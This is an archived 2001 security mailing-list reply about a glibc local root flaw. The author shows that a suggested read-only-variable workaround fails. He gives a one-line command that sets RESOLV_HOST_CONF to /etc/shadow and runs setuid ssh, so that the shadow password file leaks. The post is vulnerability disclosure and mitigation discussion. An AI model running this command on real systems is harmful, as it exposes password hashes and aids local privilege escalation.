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Re: Glibc Local Root Exploit

daemon@ATHENA.MIT.EDU (Michal Zalewski)
Fri Jan 12 16:51:07 2001

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Date:         Fri, 12 Jan 2001 05:08:50 +0100
Reply-To: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
X-To:         Digital Overdrive <digiover@dsinet.org>
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On Wed, 10 Jan 2001, Digital Overdrive wrote:

> [Credits to ^herman^ in #hit2000 on ircnet]
> A temp. sollution is to place this in /etc/services:

Erm, you mean /etc/profile?

> declare -r RESOLV_HOST_CONF
>
> jan@flits102-93:~$ export RESOLV_HOST_CONF=/etc/shadow
> bash: RESOLV_HOST_CONF: readonly variable
> jan@flits102-93:~$

Oooh, try that:

$ bash --norc --noprofile -c 'RESOLV_HOST_CONF=/etc/shadow ssh host'

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